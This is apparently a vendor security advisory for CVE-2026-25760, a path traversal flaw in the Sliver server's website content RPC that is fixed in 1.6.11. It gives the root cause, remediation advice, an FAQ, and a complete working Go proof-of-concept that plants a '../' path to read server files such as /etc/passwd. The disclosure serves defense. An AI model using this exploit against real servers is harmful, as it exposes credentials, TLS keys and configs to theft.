CVE-2026-25760

A Path Traversal vulnerability in the website content subsystem lets an authenticated operator read arbitrary files on the Sliver server host. This is an authenticated Path Traversal / arbitrary file read issue, and it can expose credentials, configs, and keys.

Affected Component

• Website content management (gRPC): WebsiteAddContent, Website, Websites
• Server-side file read in Website.ToProtobuf

Root Cause

The server accepts and persists arbitrary website paths from the operator, then later reads from disk using that path without sanitization or containment.

Vulnerable Code References

• server/rpc/rpc-website.go:100, accepts content.Path from operator RPC and persists it via website.AddContent
• server/db/models/website.go:52, reads from disk with filepath.Join(webContentDir, webcontent.Path) without validating or constraining webcontent.Path

Proof of Concept (PoC)

Steps (local test)

1. Build the server:

   go build -mod=vendor -tags go_sqlite,server -o sliver-server ./server
   

2. Create an operator config (permission all for website operations):

   ./sliver-server operator -n testop -l 127.0.0.1 -p 31337 -P all -o file -s /tmp
   

3. Start the daemon:

   ./sliver-server daemon -l 127.0.0.1 -p 31337
   

4. Run the PoC:

   GOFLAGS=-mod=vendor go run ./poc/website_path_traversal.go -config /tmp/testop_127.0.0.1.cfg -website poc-site -target /etc/hosts
   

PoC Code

package main

import (
	"context"
	"flag"
	"fmt"
	"os"
	"path/filepath"
	"runtime"
	"strings"
	"time"

	"github.com/bishopfox/sliver/client/assets"
	"github.com/bishopfox/sliver/client/transport"
	"github.com/bishopfox/sliver/protobuf/clientpb"
)

func main() {
	var (
		configPath  string
		websiteName string
		targetPath  string
		webPath     string
		maxBytes    int
	)
	flag.StringVar(&configPath, "config", "", "path to sliver client config (.cfg)")
	flag.StringVar(&websiteName, "website", "poc-site", "website name to use/create")
	flag.StringVar(&targetPath, "target", "", "absolute server file path to read")
	flag.StringVar(&webPath, "web-path", "", "override web path (defaults to traversal into target)")
	flag.IntVar(&maxBytes, "max-bytes", 1024, "max bytes of leaked content to print")
	flag.Parse()

	if targetPath == "" {
		if runtime.GOOS == "windows" {
			targetPath = `C:\\Windows\\System32\\drivers\\etc\\hosts`
		} else {
			targetPath = "/etc/passwd"
		}
	}

	if webPath == "" {
		trimmed := strings.TrimPrefix(targetPath, string(filepath.Separator))
		webPath = "../../../../../../../../" + trimmed
	}

	config, err := loadConfig(configPath)
	if err != nil {
		fatalf("config error: %v", err)
	}

	rpc, conn, err := transport.MTLSConnect(config)
	if err != nil {
		fatalf("connect error: %v", err)
	}
	defer conn.Close()

	ctx, cancel := context.WithTimeout(context.Background(), 15*time.Second)
	defer cancel()

	_, err = rpc.WebsiteAddContent(ctx, &clientpb.WebsiteAddContent{
		Name: websiteName,
		Contents: map[string]*clientpb.WebContent{
			webPath: {
				Path:        webPath,
				ContentType: "text/plain",
				Content:     []byte("poc"),
			},
		},
	})
	if err != nil {
		fatalf("WebsiteAddContent failed: %v", err)
	}

	resp, err := rpc.Website(ctx, &clientpb.Website{Name: websiteName})
	if err != nil {
		fatalf("Website failed: %v", err)
	}

	var leaked *clientpb.WebContent
	for _, c := range resp.Contents {
		if c.Path == webPath {
			leaked = c
			break
		}
	}
	if leaked == nil {
		fatalf("did not find content for path %q", webPath)
	}

	data := leaked.Content
	if len(data) > maxBytes {
		data = data[:maxBytes]
	}

	fmt.Printf("[+] target: %s\n", targetPath)
	fmt.Printf("[+] web-path: %s\n", webPath)
	fmt.Printf("[+] leaked bytes: %d\n", len(leaked.Content))
	fmt.Printf("[+] preview:\n%s\n", string(data))
}

func loadConfig(path string) (*assets.ClientConfig, error) {
	if path != "" {
		return assets.ReadConfig(path)
	}
	configs := assets.GetConfigs()
	if len(configs) == 0 {
		return nil, fmt.Errorf("no configs found; use -config")
	}
	if len(configs) > 1 {
		return nil, fmt.Errorf("multiple configs found; use -config")
	}
	for _, c := range configs {
		return c, nil
	}
	return nil, fmt.Errorf("unexpected config error")
}

func fatalf(format string, args ...any) {
	fmt.Fprintf(os.Stderr, format+"\n", args...)
	os.Exit(1)
}

Expected Output (example)

[+] target: /etc/hosts
[+] web-path: ../../../../../../../../etc/hosts
[+] leaked bytes: 409
[+] preview:
127.0.0.1	localhost
...

Evidence (Screenshots)

Why It Works

• WebsiteAddContent accepts a path like ../../../../etc/hosts and stores it.
• Website returns content by calling Website.ToProtobuf, which reads from disk using the stored Path value.
• filepath.Join does not prevent traversal, so the server reads from outside the web directory.

Notes

• This issue requires an authenticated operator account with sufficient permissions (PermissionAll).
• The PoC demonstrates reading /etc/hosts but can target any readable server file.

• Arbitrary file read as the Sliver server OS user.
• Exposure of sensitive data such as operator configs, TLS keys, tokens, and logs.

Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.

CVE-2026-25760 has a CVSS score of 6.5 (Medium). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.6.11); upgrading removes the vulnerable code path.

Kodem intelligence

• Validate and reject paths that are absolute or contain .. in WebsiteAddContent (server side).
• Canonicalize paths and enforce they remain within the web content directory.
• Avoid reading content by Path in Website.ToProtobuf; read by content ID instead.

1. What is CVE-2026-25760? CVE-2026-25760 is a medium-severity path traversal vulnerability in github.com/bishopfox/sliver (go), affecting versions <= 1.6.10. It is fixed in 1.6.11. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
2. How severe is CVE-2026-25760? CVE-2026-25760 has a CVSS score of 6.5 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of github.com/bishopfox/sliver are affected by CVE-2026-25760? github.com/bishopfox/sliver (go) versions <= 1.6.10 is affected.
4. Is there a fix for CVE-2026-25760? Yes. CVE-2026-25760 is fixed in 1.6.11. Upgrade to this version or later.
5. Is CVE-2026-25760 exploitable, and should I be worried? Whether CVE-2026-25760 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-25760 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-25760? Upgrade github.com/bishopfox/sliver to 1.6.11 or later.